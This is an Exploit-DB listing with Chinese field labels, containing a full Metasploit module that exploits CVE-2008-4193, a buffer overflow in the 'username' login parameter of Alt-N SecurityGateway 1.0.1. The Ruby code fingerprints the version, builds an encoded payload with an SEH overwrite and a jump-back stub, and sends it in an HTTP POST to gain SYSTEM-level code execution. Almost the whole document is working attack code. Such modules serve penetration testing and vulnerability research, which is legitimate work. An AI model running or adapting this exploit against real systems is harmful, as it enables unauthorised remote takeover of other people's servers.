标题: Alt-N SecurityGateway 1.0.1 - 'Username' Remote Buffer Overflow (Metasploit) EDB-ID: 16803 CVE: 2008-4193 类型: REMOTE 平台: WINDOWS 发布日期: 2010-07-07 漏洞利用脚本: ##
# $Id: altn_securitygateway.rb 9719 2010-07-07 17:38:59Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 # XXX: Automatic targetting used HttpFingerprint = { :uri => '/SecurityGateway.dll', :pattern => [ /SecurityGateway / ] }

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Alt-N SecurityGateway username Buffer Overflow',
   'Description'    => %q{
     Alt-N SecurityGateway is prone to a buffer overflow condition. This
    is due to insufficient bounds checking on the "username"
    parameter. Successful exploitation could result in code
    execution with SYSTEM level privileges.

    NOTE: This service doesn't restart, you'll only get one shot. However,
    it often survives a successful exploitation attempt.
   },
   'Author'         => [ 'jduck' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9719 $',
   'References'     =>
    [
     [ 'CVE', '2008-4193' ],
     [ 'OSVDB', '45854' ],
     [ 'BID', '29457']
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 476,
     # note: 0xd7 might not be translated, but w/e
     'BadChars' => "\x00" + ((0x40..0x5a).to_a + [ 0x8a, 0x8c, 0x8e, 0x9f ] + (0xc0..0xdf).to_a).pack('C*'),
     'StackAdjustment' => -3500,
     'EncoderType' => Msf::Encoder::Type::SingleStaticBit,
     'EncoderOptions' =>
      {
       'BitNumber' => 0x5,
       'BitValue' => true,
      }
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Automatic Targeting', { } ],
     # NOTE: the return address must be tolower() safe
     [ 'SecurityGateway 1.0.1 Universal', { 'Ret' => 0x6767756f }], # p/p/r in XceedZip.dll 4.5.77.0
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Jun 02 2008'))

  register_options(
   [
    Opt::RPORT(4000)
   ], self.class)
 end


 # Identify the target based on the SecurityGateway version number
 def auto_target
  info = http_fingerprint({ :uri => '/SecurityGateway.dll' })  # automatic targetting
  if (info =~ /SecurityGateway (1\..*)$/)
   case $1
   when /1\.0\.1/
    return self.targets[1]
   end
  end
  # Not vulnerable
  nil
 end

 def check
  if auto_target
   Exploit::CheckCode::Vulnerable
  end
  Exploit::CheckCode::Safe
 end

 def exploit

  # handle auto-targeting
  mytarget = target
  if target.name =~ /Automatic/
   print_status("Attempting to automatically select a target...")
   mytarget = auto_target
   if mytarget.nil?
    raise RuntimeError, "Unable to automatically select a target"
   end
   print_status("Automatically selected target \"#{mytarget.name}\"")
  end

  # the buffer gets CharLowerBuff()'d and passed to:
  # sprintf(str, "Attempt to login with invalid user name %s from %s", buf, ip_str);

  sploit = payload.encoded
  sploit << generate_seh_record(mytarget.ret)
  distance = payload_space + 8
  sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
  sploit = Rex::Text.to_hex(sploit, '%')
  sploit << rand_text_alphanumeric(512)

  post_data = 'RequestedPage=login'
  post_data << '&username=' << sploit
  post_data << '&passwd=world'

  print_status("Sending request...")
  res = send_request_cgi({
   'uri'          => '/SecurityGateway.dll',
   'method'       => 'POST',
   'content-type' => 'application/x-www-form-urlencoded',
   'data'         => post_data,
  }, 5)

  handler
 end

end URL: https://www.exploit-db.com/exploits/16803